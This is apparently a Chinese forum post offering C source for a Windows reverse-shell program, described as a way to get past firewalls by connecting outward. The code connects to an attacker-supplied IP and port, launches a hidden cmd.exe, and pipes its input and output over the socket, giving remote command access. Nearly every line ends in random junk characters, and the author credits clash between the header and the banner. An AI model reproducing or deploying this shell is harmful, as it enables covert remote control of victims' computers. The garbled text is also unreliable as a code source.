这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2U(qyC
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/* ============================== E%Ww)P
Rebound port in Windows NT &~2IFp
By wind,2006/7 0=K8 nxdx
===============================*/ K9y~
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#include TPak,h(1
#include oYt 34@{?
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#pragma comment(lib,"wsock32.lib") 1 vtC4`
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void OutputShell(); 0m"Ni:KEf
SOCKET sClient; `#vbV/sM
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Hmnxmgx
{^1''
void main(int argc,char **argv) '$?!>HN4
{ .J O1kt
WSADATA stWsaData; \ Ce*5h
int nRet; )ax>*
SOCKADDR_IN stSaiClient,stSaiServer; wm_rU]
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if(argc != 3) 5$+ssR_?k
{ iRbe$v&N
printf("Useage:\n\rRebound DestIP DestPort\n"); =%7s0l3z
return; P{yb%@I~J
} <HzL%DX
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WSAStartup(MAKEWORD(2,2),&stWsaData); '2ZvK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JodD6;P
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stSaiClient.sin_family = AF_INET; ;_2+Y^Qb
stSaiClient.sin_port = htons(0); QR _h#N2h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vzo<ma^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I~&9c/&
{ -esQyLx
printf("Bind Socket Failed!\n"); -6~.;M 5
return; WqF$-rBJG^
} =0 !j"z=
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stSaiServer.sin_family = AF_INET; V; CPn
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +jyGRSo
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X6 N&:<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Am_>x8z
{ %:zu68Q[
printf("Connect Error!"); 'tvuw\hhL
return; P^48]Kj7
} T ~(Sc'8
OutputShell(); m}\QGtJ6
} ^_<|~
] _5b
void OutputShell() 3 yy5 l!fv
{ D79:L:
char szBuff[1024]; "WUS?Q
SECURITY_ATTRIBUTES stSecurityAttributes; m[74 p
OSVERSIONINFO stOsversionInfo; 75lh07
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6a9$VGInU
STARTUPINFO stStartupInfo; v8j3
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char *szShell; TlRc8r|
PROCESS_INFORMATION stProcessInformation; ^|]Dg &N.
unsigned long lBytesRead; ~x#TfeU]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b*M?\ aA
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _lFw1pa#\
stSecurityAttributes.lpSecurityDescriptor = 0; l
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stSecurityAttributes.bInheritHandle = TRUE; G3%Ju=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y!.jpF'uI
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OTdijQLY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F!wz{i6\h
stStartupInfo.wShowWindow = SW_HIDE; Zo yO[#
stStartupInfo.hStdInput = hReadPipe; =@?[.`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %&|
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GetVersionEx(&stOsversionInfo); ,1$F#Eh
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switch(stOsversionInfo.dwPlatformId) u0 tlf
{ gJ'pwSA
case 1: eY5mwJ0K
szShell = "command.com"; Xa?O)Bq.
break; ng"=vmu
default: ?(R3%fU
szShell = "cmd.exe"; Es%f@$0uy
break; qul#)HI
} dkZe.pv$j
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |uqI}6h.
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send(sClient,szMsg,77,0); I/MY4?(T
while(1) bYnq,JRA
{ $2?AJ/2r$b
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0!_?\)X
if(lBytesRead) #e|o"R;/`
{ 2 HEU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dD=$$(
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send(sClient,szBuff,lBytesRead,0); a3tcLd|7J
} 89g
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else JfIXv
{ MK=oGzK
lBytesRead=recv(sClient,szBuff,1024,0); 0lg$zi x(
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~\jP+[>M'
} V0>X2&.A
} >8>!wi9U
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return; =GPXuo
}